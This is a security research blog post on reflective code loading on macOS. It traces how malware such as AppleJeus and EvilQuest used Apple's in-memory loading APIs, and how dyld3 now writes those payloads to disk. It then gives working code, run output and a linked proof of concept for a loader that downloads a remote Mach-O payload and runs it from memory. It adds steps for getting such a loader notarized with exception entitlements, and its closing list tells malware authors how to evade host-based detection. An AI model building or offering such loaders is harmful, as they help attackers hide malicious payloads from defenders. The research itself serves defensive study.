Restoring Reflective Code Loading on macOS
2024-12-16 00:0:0 Author: objective-see.org(查看原文) 阅读量:0 收藏

Restoring Reflective Code Loading on macOS

Apple silently 'broke' in-memory code loading on macOS ...let's restore it!

by: Patrick Wardle / December 16, 2024


The Objective-See Foundation is supported by:


Reflective code loading is a powerful technique often (ab)used by sophisticated malware to execute compiled payloads directly from memory, bypassing the majority of detections. On macOS, this was once trivial due to Apple loader APIs that natively supported this capability …until Apple quietly reworked these APIs to enforce file-based loading, a change that seems to have gone unnoticed by many malware authors! 👀

In this blog, we’ll first revisit traditional methods for reflective code loading on macOS and examine specific examples of malware that have leveraged, and in some cases continue to leverage, these now-obsolete and ineffective approaches.

We’ll detail a surprisingly simple approach that leverages Apple’s own loader, ensuring that reflective code loading remains possible …even on macOS 15!

And while this undeniably poses significant challenges for defenders, stay tuned for part two, that will detail some strategies that aim to detect this stealthy capability.

Background

First, let’s define “Reflective Code Loading”. Assigned T1620 in MITRE’s ATT&CK framework, there it is defined as such:

Reflective [code] loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk.

Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.

More succinctly (and what we’re specifically focusing on here today), is the execution of compiled code, directly from memory:

Reflective Code Loading ...defined and illustrated

A few key points include:

  • The payload is compiled binary (vs. say shellcode)

  • The payload is never written to disk, instead downloaded directly into memory from remote server.
    (Unless it’s a persistent encrypted payload, yes saved to disk, but then only decrypted in memory).

And why do we even care about reflective code loading? Ah, excellent question! Well, it all comes down to the fact that Apple cares more about privacy than security. (I’m not saying this is wrong per se, but as well see here, this does have rather impactful side effects). Specifically, due to privacy concerns, Apple does not allow any process, even trusted security tools, to read the “remote” memory of another process. This means if you are a hacker your reflectively loaded payloads are safe from any (non-kernel-mode) macOS security tool, as such tools are essential blind to what other processes are doing in-memory!

This is succinctly articulated by the noted forensics expert Matt Suiche:

"Memory scanning capabilities on macOS are pretty bad in general. But [the] abolition of kexts for macOS will definitely make it impossible to access [remote] memory..." -Matt Suiche

Yes, kernel extensions (kexts) can read arbitrary process' memory including reflectively loaded payloads. However they have been wholly deprecated (essentially abolished) by Apple who state:

"Kexts are no longer recommended for macOS. Kexts risk the integrity and reliability of the operating system. Users should prefer solutions that don't require extending the kernel"

Due to the fact the memory-based scanning/detection approaches are verboten on macOS, security tools (including macOS’ own built-in ones) are largely file-system-centric:

"The macOS file system is carefully scrutinized by endpoint detection & response (EDR) tools, commercial antivirus (AV) products, & Apple's baked-in XProtect AV.

As a result, when an adversary drops a known malicious binary on disk, the binary is very rapidly detected and often blocked." -Red Canary

Thus if you’re hacker or malware author (or red teamer), you should make extensive use of reflectively loaded payloads, as in-memory payloads on macOS invisible and cannot be captured. And if you’re a defender? er, well …good luck! 😓

On older versions of macOS, security tools could use Apple APIs such as task_for_pid and then mach_vm_read to access remote process memory ...for example to scan for and recover reflectively loaded payloads. However the task_for_pid API has been almost wholly restricted, as Apple notes:

"task_for_pid is a security vulnerability ...and so modern versions of macOS ...restrict its use"

On-disk binaries vs. In-memory “images” …and Loaders

Before we continue, it is important to understand the difference between on-disk binaries versus their in-memory “images” …as this is what makes reflective code loading somewhat complicated (though our approach, detailed shortly, is rather simple and elegant I might say!)

In a nutshell, compiled binaries on disk are optimized for storage. Thus their layout is different from their corresponding in-memory “image”. Moreover, if the binary has dependencies (such as frameworks or dynamic libraries) those have to be loaded as well. So, one cannot simply copy a file into memory and directly execute it! So who handles this rather complex task? …the linker/loader!

The loader, loads a binary in memory and prepares it for execution

On macOS, the linker/loader is dyld. One could devote an entire post just to dyld, though here we’ll cover just the basic, largely to point out the complexities of preparing a binary for execution.

In a nutshell, when a user (or the system) launches or executes a binary dyld:

  • Reads the binary off disk, mapping it into memory.
    (This also involves page-aligning various sections of the binary, and setting the appropriate memory permissions)
  • Applies relocations and resolves any symbols (imports).
    (This step will recursively load any dependencies such as dynamic libraries that the main binary depends on, and of course any libraries that they depend on).
  • Executes any initializers (constructors) before finally transferring control to the binary’s entry point.

History of Reflective Code Loading on macOS

Let’s now look at the rather long history of reflective code loading on macOS, that leveraged a handful of Apple APIs designed specifically for the in-memory execution of compiled binary …and funny enough, it all starts with a sample project from Apple!

In 2005, Apple released a sample project named “MemoryBasedBundle”, that, “is a sample that shows how to execute Mach-O code from memory, rather than from a file”:

Apple's sample code for reflective code loading!

Though Apple's code loads bundles (such as frameworks), it will work equally well with stand alone dynamic libraries (aka dylibs).

Moreover, all(?) public malware that has implemented reflective code loading has made use of these same APIs. And why wouldn't they? It makes in-memory code loading a breeze!

This code worked on OSX 10.3 (released in 2003), which introduced a new group of APIs (NSCreateObjectFileImageFromMemory and friends) that natively supported reflective code loading.

In the next section of this post we'll go through the technical details of this code, but for now it suffices to understand that older versions of macOS natively supported reflective code loading.

Specifically one could simple invoke macOS APIs such as NSCreateObjectFileImageFromMemory and NSLinkModule to link/load a binary image directly from memory!

A few years later in 2009 the “Mac Hacker’s Handbook” was released. Written by Charlie Miller and Dino Dai Zovi, it described a shellcode based payload that would invoke Apple’s APIs (NSCreateObjectFileImageFromMemory and friends) to load a binary image directly from memory. In other words, they presented an in-memory (shellcode-based) in-memory loader. Neat!

Shellcode-based Reflective Code Loader (Mac Hacker's Handbook)

Around the same time, a much younger Patrick was creating persistent macOS implants that leveraged reflective code loading:

Shellcode-based Reflective Code Loader (Mac Hacker's Handbook)

As the images from a ~2009 presentation and snippet of the implant’s source code shows, the persistent component of the implant (aka the loader) would first decrypt the implant modules in memory and then use the Apple reflective code loading APIs to link and load them. This ensured that although yes, some of the payloads lived persistently on the filesystem they were only decrypted (and the reflectively loaded) in memory.

Around 2017, public macOS malware finally joined the party. …and since then (as shown in the table from Red Canary’s report), has become rather fond of (ab)using macOS API’s that support reflective code loading:

Circa 2017 Public Malware began implementing Reflective Code Loading (Credit: Red Canary)

Let’s now briefly look at two malware specimens from this list that I’ve previously analyzed: AppleJeus and EvilQuest.

AppleJeus

In a blog post titled, “Lazarus Group Goes ‘Fileless’” I detailed now suspected DPRK hacker’s leveraged reflective code loading in macOS malware sample named ‘AppleJeus’. As shown in the screenshot from my slides, we can see by looking at the decompilation of the malware, the core logic is implemented in a function rather aptly named memory_exec2:

AppleJeus' Reflective Code Loading

No surprises here, they simple invoked macOS’ NSCreateObjectFileImageFromMemory (and other) APIs that performed the reflective code loading for them.

Perhaps of more interest, while writing a second blog post on this malware (whereas I showed up to weaponize it to execute our own in-memory payloads), I noticed that the reflective code loading code was actually not original.

In 2017, Cylance published a blog post titled: “Running Executables on macOS From Memory”. Though the topic of in-memory code execution on macOS had been covered before (as was noted in the blog post), the post provided a comprehensive technical deep-dive into the topic, and more importantly provided an open-source project which included code to perform in-memory loading: “osx_runbin”.

The researcher (Stephanie Archibald), also presented this research (and more!) at an Infiltrate talk:

Here we are learning modernized osx rootkits (userland) from Stephanie Archibald ! pic.twitter.com/rAsK4xqSBh

— Dave Aitel (@daveaitel) April 6, 2017

If we compare Cylance’s osx_runbin code, it is trivial to see the in-memory loader code found within this Lazarus’s group’s malware is nearly 100% the same:

AppleJeus' Reflective Code Loading ...Inspired by Cylance?

…in other words, the Lazarus group coders simply leveraged (copied/stole) the existing open-source osx_runbin code in order to give their loader, advanced stealth and anti-forensics capabilities. And who can blame them? Work smart, not hard, right!? 😅

EvilQuest

Another (more) recent macOS malware sample that has the ability to execute compiled payloads directly from memory is EvilQuest:

EvilQuest's Reflective Code Loading ...Inspired by Apple?

If we look at the disassembly, (and stop me if you’ve heard this before), we can see it simply leveraged macOS’s well known reflective code loading APIs. And again, it was “inspired” by open-source examples …specifically Apple’s “MemoryBasedBundle” project. And again, sure, why not just copy existing code? Malware authors are simply (sometimes lazy) software engineers themselves!

You can read all about EvilQuest in Chapter 10 and Chapter 11 of “The Art of Mac Malware (Volume I)” …which yes, is freely available online!

Finally, I briefly want to mention Gauss, a sophisticated (Windows) malware specimen that leveraged persistent, albeit environmentally encrypted payloads that were only decrypted in memory …and then reflectively loaded. This malware is notable, as its payloads, though eventually captured by malware analysts have to this day, never been encrypted! 🤯

“The most interesting mystery is Gauss encrypted warhead [environmentally encrypted payloads]. Despite our best efforts, we were unable to break the encryption.” -Kaspersky (2012)

The Gauss payload https://t.co/oHNlxMQrhd

— Igor Kuznetsov (@2igosha) September 5, 2021

Though the malware was well written, certain builds left in strings such as loader.cpp that reference its reflective code loading capabilities (that would load the payloads once they’ve been decrypted in memory).

As we noted Gauss’ payloads are encrypted with an “environmentally generated key”, which is how it is able to resist decryption (except on the system system it was keyed for). Once such payloads have been decrypted in memory, this is where a reflective loader comes into play, preparing them for execution directly from memory.

Fun fact (and unrelated to Gauss!) the National Security Agency holds a patent (granted to yours truly) titled “Method of Generating an Environmental Encryption Key” 🫣

Method of Generating an Environmental Encryption Key

Let’s now explore exactly how reflective code loading was achieved on macOS.

Reflective Code Loading on (previous versions of) macOS

In 2003, with the release of OSX 10.3, Apple provided APIs to perform in reflective code loading! And since then, all the malware that support the in-memory loading of compiled payloads simply used these APIs …and why not? (It would be wayyyy more work to write your own loader).

In this section of the blog post, let’s dive a bit deeper in Apple’s sample “MemoryBasedBundle”, project to show exactly how to one could, rather simply, leverage these APIs to gain reflective code loading.

  1. Read the payload into memory.

    The first step is to get the compiled binary (that you want to reflectively load) into memory. This could be as simple as downloading it from a remote server:

    1NSURL* url = [NSURL URLWithString:<some server>];
    2NSData* data = [NSData dataWithContentsOfURL:url];

    Alternately (as was the case with Gauss) an encrypted payload could be read into memory and then decrypted. (Note that as the reflective code loading APIs invoke vm_deallocate, you should copy the payload into a memory buffer that has been allocated via vm_allocate).
  2. Load and Link the payload.

    Next you initialize a NSObjectFileImage object by calling the NSCreateObjectFileImageFromMemory API. This is then passed to the NSLinkModule API (along with a name for your payload):

    1NSObjectFileImage ofi = 0;
    2NSCreateObjectFileImageFromMemory(buffer, fileSize, &ofi);
    3NSModule module = NSLinkModule(ofi, "[Memory Based Bundle]", NSLINKMODULE_OPTION_PRIVATE);
  3. Resolve and invoke an export of in the payload.

    Now that the payload as been reflectively loaded, you can resolve a symbol (for example of an exported function) via the NSLookupSymbolInModule and NSAddressOfSymbol APIs. Then, you can invoke it.
    Here, imagine our payload exports a function named entryPoint that expects a single argument (a string that it simply prints out):

    1typedef void (*EntryPoint)(const char *message);
    2NSSymbol symbol = NSLookupSymbolInModule(module, "_" "entryPoint");
    3
    4EntryPoint entry = NSAddressOfSymbol(symbol);
    5
    6entry("Hello (reflectively loaded) World!");

If your payload implements a constructor (say via _attribute_((constructor))), that will be automatically executed as soon as the payload is loaded. Thus the final step of resolving and invoking exports may be superfluous.

Ok, but that’s it! Thanks to macOS’s native support for reflective code loading, malware (or anybody else), could simple invoke Apple provided APIs to load a compiled payload directly from memory …easy peasy!

…until!

All was well and good, until Apple released version 3 of dyld. Without any fanfare (and overlooked by most, including all the malware authors), Apple silently changed the NSLinkModule API:

macOS malware often (ab)uses APIs such as NSCreateObjectFileImageFromMemory, NSLinkModule etc) to execute in-memory payloads.

Apple has recently updated dyld3 (+these APIs), such that the in-memory payload is now first/always written out to disk 💾

See: https://t.co/vDuXLs6LXD pic.twitter.com/ALyFKSGRco

— Patrick Wardle (@patrickwardle) July 15, 2022

Specifically the NSLinkModule will now always write out any in-memory payloads to disk, forcing them to be loaded as “normal” file-backed binaries:

 1NSModule NSLinkModule(...) {
 2   //if this is memory based image
 3   // write to temp file, then use file based loading
 4   if(image.memSource != nullptr ) {
 5     ...
 6     char tempFileName[PATH_MAX];
 7     const char* tmpDir = getenv("TMPDIR");
 8     strlcpy(tempFileName, tmpDir, PATH_MAX);
 9     strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
10     int fd = ::mkstemp(tempFileName);
11     pwrite(fd, image.memSource, image.memLength, 0);
12     image.path = strdup(tempFileName);
13}  

As we can see in the above code, the name of file will always start with NSCreateObjectFileImageFromMemory-XXXXXXXX, and will be stored in a directory whose value taken from the TMPDIR directory.

Let’s use Apple’s “MemoryBasedBundle” project to confirm this …executing on a recent version of macOS.

First, we can see that if we create payload (that previously would be reflectively loaded), once it’s loaded it now has a path on the filesystem, that it is able to print out itself:

% ./MemoryBasedBundle -nsmem Bundle.bundle
Hello (reflectively loaded) World!
...from NSCreateObjectFileImageFromMemory

Path: /private/var/folders/b0/60435j5n6q79zs30z5qgbqcm0000gn/T/NSCreateObjectFileImageFromMemory-RbwLdxjP

Moreover, if we execute a file monitor, we can see the MemoryBasedBundle indeed saving the payload to disk before executing it:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter MemoryBasedBundle
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" : "/private/var/folders/b0/60435j5n6q79zs30z5qgbqcm0000gn/T/NSCreateObjectFileImageFromMemory-RbwLdxjP",
    "process" : "MemoryBasedBundle"
  }
}
{
  "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
  "file" : {
    "destination" : "/private/var/folders/b0/60435j5n6q79zs30z5qgbqcm0000gn/T/NSCreateObjectFileImageFromMemory-RbwLdxjP",
    "process" : "MemoryBasedBundle"
  }
}

So does this mean Apple killed reflective code loading?

RIP to one of the main methods for true memory-only payloads on macOS https://t.co/f3fP9oYesS

— Andrew Case (@attrc) July 15, 2022

…well yes, via their APIs.

Restoring Reflective Code Loading on macOS

Apple nuked their reflective code loading APIs, so that what previously would have been memory-only payloads, are now written to disk. 😓

But not to worry, we’ll show a super simple way to restore this! First though I want to highlight other research on the topic.

Recently Adam Chester published a multi-part blog post on this very topic! Titled, “Restoring Dyld Memory Loading”, it covered methods such as patching the loader and implementing one’s own loader. It’s a great, informative read, and does describe methods that do, to some extent, restore reflective code loading on macOS.

However I was inspired to find an alternative approach that was a little more robust than patching the loader and also simpler than writing one’s own loader.

In my slides, I also talk about other (novel?) methods such setting TMPDIR to a ram disk which yes ensures that when Apple’s APIs “write out” the payload, as its written to a ram disk, and thus never touches the filesystem.

However, this has some downsides such as the fact that (Endpoint Security) file events are still generated and the payload on the ram disk is globally accessible …and thus could be read (and collected) by security tools.

And yes (also mentioned in the slides), though we can play some tricks to avoid the hard-coded file name prefix (NSCreateObjectFileImageFromMemory-XXXXXXXX) that security tools can, and do, look for, again this approach just isn’t quite ideal.

First, let’s reiterate our goal: to restore reflective code loading on macOS (without having to write out own loader).

Now, if we take a step back and ponder for a moment, though yes, Apple’s higher level APIs no longer support reflective code loading, but under the hood the loader (dyld) at some point will (still) take a binary that has been read into memory, and perform all the necessary loading and linking operations. And since Apple’s loader is open-source, can we just directly compile (just) that part of the Apple’s loader code into our own loader, thus restoring reflective code loading? …spoiler, yes of course we can!

Now Apple’s loader is a behemoth …and isn’t trivially compilable. However, I stumbled across a project on GitHub ("Custom Mach-O Image Loader") that had taken the core of Apple’s loader and made it compilable. And though the goal of that project had nothing to do with reflective code loading, it provided incredible useful!

Let’s start with the final code, which shows the relevant Apple dyld code (that we’ve compiled directly into a custom library). We’ve add it to a function that we’ve named custom_dlopen_from_memory. It takes a pointer to compiled mach-O binary payload that has been read into memory (for example downloaded into memory from a remote server), and the length of the payload.

 1extern "C" void* custom_dlopen_from_memory(void* mh, int len) {
 2  
 3    //load
 4    const char* path = "foobar";
 5    auto image = 
 6    ImageLoaderMachO::instantiateFromMemory(path, (macho_header*)mh, len, g_linkContext);
 7
 8    //link  
 9    std::vector<const char*> rpaths;
10    ImageLoader::RPathChain loaderRPaths(NULL, &rpaths);
11    image->link(g_linkContext, true, false, false, loaderRPaths, path);
12   
13    //execute initializers (i.e. constructors)   
14    ImageLoader::InitializerTimingList initializerTimes[1];
15    initializerTimes[0].count = 0;
16    image->runInitializers(g_linkContext, initializerTimes[0]);
17
18    return image;
19}

Yes, reflective code loading on macOS 15, in less than twenty lines of code. Hooray!

First, we invoke dyld’s ImageLoaderMachO::instantiateFromMemory method, that takes the payload and returns an pointer to an ImageLoader. I actually have no idea what a ImageLoader object is, but good news we really don’t have too. In some sense the internals of dyld are irrelevant!

Second, with an initialized ImageLoader object, we can link our in-memory payload by invoking the object’s aptly named link method.

Finally, we invoke the ImageLoader object’s runInitializers method, which will execute any initializers, such as a constructor of our payload.

Let’s call our custom_dlopen_from_memory function, to make sure it actually works! Here’s some very simple code that downloads a compiled payload from a remote server into memory, then invokes this function to load and execute it:

1int main(int argc, const char * argv[]) {
2
3    NSURL* url = [NSURL URLWithString:[NSString stringWithUTF8String:argv[1]]];
4    NSData* data = [NSData dataWithContentsOfURL:url];
5        
6    custom_dlopen_from_memory((void*)data.bytes, (int)data.length);
7   
8}

After compiling it (with a few additional print statements), we run it:


% ./customLoader https://file.io/PX4HVdOlgANO                                                                                       
Downloaded https://file.io/PX4HVdOlgANO into memory

Loading...
Mach-O loaded at 0x6000021d8000

Linking...
Invoking initializers...

"Hello (reflectively loaded) World!"

So it works! But is it truly reflective? Why yes! If we (re)run a file monitor (the same way that confirmed Apple’s higher-level APIs write now write out the payload to disk), we can see that no file events are generated:


# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter customLoader | grep "ES_EVENT_TYPE_NOTIFY_CREATE"

But What About The Hardened Runtime?

First, the good news. For hackers and those who would use reflective code loading for offensive purposes (no judgement!), note that the “hardened runtime” is still optional. macOS will happily run programs that have not been compiled with the hardened runtime.

The less than good news is that if you want to get your reflective code loader notarized, at compile time you must opt into the hardened runtime (as its mandatory for notarization). And this will break our reflective code loading as the hardened runtime requires that any executed code must be signed:

The Hardened Runtime (Required for Notarization) Enforces the Execution of Signed Code.

In the slide above, note that once we’ve enable the hardened runtime, though the payload is still loaded, as soon as we go to execute it, macOS kills us, generating a crash report with a “Code Signature Invalid” exception. And though one might think that signing the payload (for example with your Apple Developer ID) would work, it appears to not …as in order to check if something is signed (and has not been tampered with), macOS wants and on-disk binary image. So for “memory only” payloads we’ll have to add an exception entitlement.

In order to opt into the hardened runtime (for example to submit our loader for notarization), but to retain reflective code loading functionality, we can make use of either the com.apple.security.cs.allow-unsigned-executable-memory or com.apple.security.cs.disable-executable-page-protection exception entitlement:

Exception Entitlements Ensure Reflective Code Loading is Maintained ...even when the Hardened Runtime is Enabled.

It is trivial to add these entitlements when compiling your code in Xcode, and as we can see, though we’ve opted into the hardened runtime (see: flags=0x10000(runtime)), thanks to the exception entitlements, our reflective code loading is (still) good to go!

It’s wise to get your binaries notarized if you require user interaction in order for them to be initially executed. Currently Apple will notarize anything that is not malware (and in many cases, Cupertino inadvertently notarizes malware as well).

A loader, that simply downloads and executes additional payloads is not inherently malicious, and thus Apple will notarized it. Better, even if Apple decides to rescind the notarization (say for example if they observe the loader reflectively loading malicious payloads), though yes they will have the loader binary (as you submitted it to them to be notarized), the payloads will have to be recovered in some other manner! And, looking back at Gauss, if you’re leveraging a cryptographic protection scheme that leverages environmentally generated keys, your payloads may be protected …for ever!?

Oh, and to just to re-iterate, your compiled payloads, if reflectively loaded, don’t have to be notarized, or in fact signed at all (thanks to the exception entitlements).

So, if you’re hacker or malware author, don’t be lame! Instead:

  1. Stop using the macOS APIs (such as NSCreateObjectFileImageFromMemory and friends) that previously provided reflective code loading capabilities, as they are saving your payloads to disk and predictable, signaturizable location!
  2. Create a simple loader with dyld’s code compiled in.
  3. Enable the ‘Hardened Runtime’ (with exception entitlements) then submit for notarization.
  4. Then, once you loader has been “deployed” to a remote system (that part is up to you!), then, simply download and reflectively load your (real) payloads to your hearts content knowing that not only is this extremely hard to detect, but even more so, you payloads cannot be extracted from your loader’s memory by any host-based (non-kernel-mode) security tool! 🤯

…and if what if you’re a defender? We’ll, stay tuned for part II, though due to Apple’s privacy-centric view of the world, your options are rather limited. 🫤

The PoC

I’ve uploaded an open-source proof of content to GitHub: https://github.com/pwardle/ReflectiveLoader.

The PoC is an Xcode project made up of three parts:

  1. The custom loader
    Based on the “Custom Mach-O Image Loader” project, I’ve extended it to support the reflective loading of in-memory payloads (by implementing and exposing a custom_dlopen_from_memory function).

    You should compile this via cmake (it won’t compile via Xcode!):

    % cd build
    % cmake ..
    % make
    

    This creates a library, libloader.a (that exports a custom_dlopen_from_memory function) that you can link into your own programs to provide reflective code loading!
  2. A example (reflective) payload
    This is a simple example of reflective payload.

    Note that its “Minimum Deployment” is set to macOS 11 to ensure its build without LC_DYLD_CHAINED_FIXUPS (which the loader library doesn’t (yet?) support). If you create your own payload, make sure its built similarly.

    And no, the payload does not need to be signed nor notarized!

    It contains a constructor __attribute__((constructor)) that will be automatically executed when the payload is reflectively loaded.

  3. A command line binary (PoC)
    This is a simple commandline PoC that links against the reflective loader library (libloader.a) and reflectively loads payload from memory by calling the custom_dlopen_from_memory function.

    When executed from the command line, it expects a remote or local payload to (down)load and execute:


% ./PoC https://file.io/IAKV6NC6JDC8

macOS Reflective Code Loader

[+] downloading from remote URL...
    payload now in memory (size: 68528), ready for loading/linking...

Press any key to continue...

dyld: 'ImageLoaderMachO::instantiateFromMemory' completed (image addr: 0x600000378180)
dyld: 'image->link' completed

[In-Memory Payload] Hello (reflectively loaded) World!
[In-Memory Payload] I'm loaded at: 0x10b290000

dyld: 'image->runInitializers' completed

Done!
Press any key to exit...


Don't feel like building anything? In the Distribute/ folder you'll find prebuilt binaries including the PoC and the example payload (libpayload.dylib).

...both have been compiled for/tested on macOS 15.

Conclusion

Today, we dove deeply into reflective code loading on macOS. And after providing a fairly thorough historical analysis, we highlighted that rather recently Apple decided to nuke their APIs effectively preventing such loading …at least at the API level.

Not to worry, we showed how one could simply incorporate Apple’s loader code into your own loader, to trivially restore reflective code, even on macOS 15!


❤️ Love these blog posts and/or want to support my research and tools?

You can support them via my Patreon page!


文章来源: https://objective-see.org/blog/blog_0x7C.html
如有侵权请联系:admin#unsafe.sh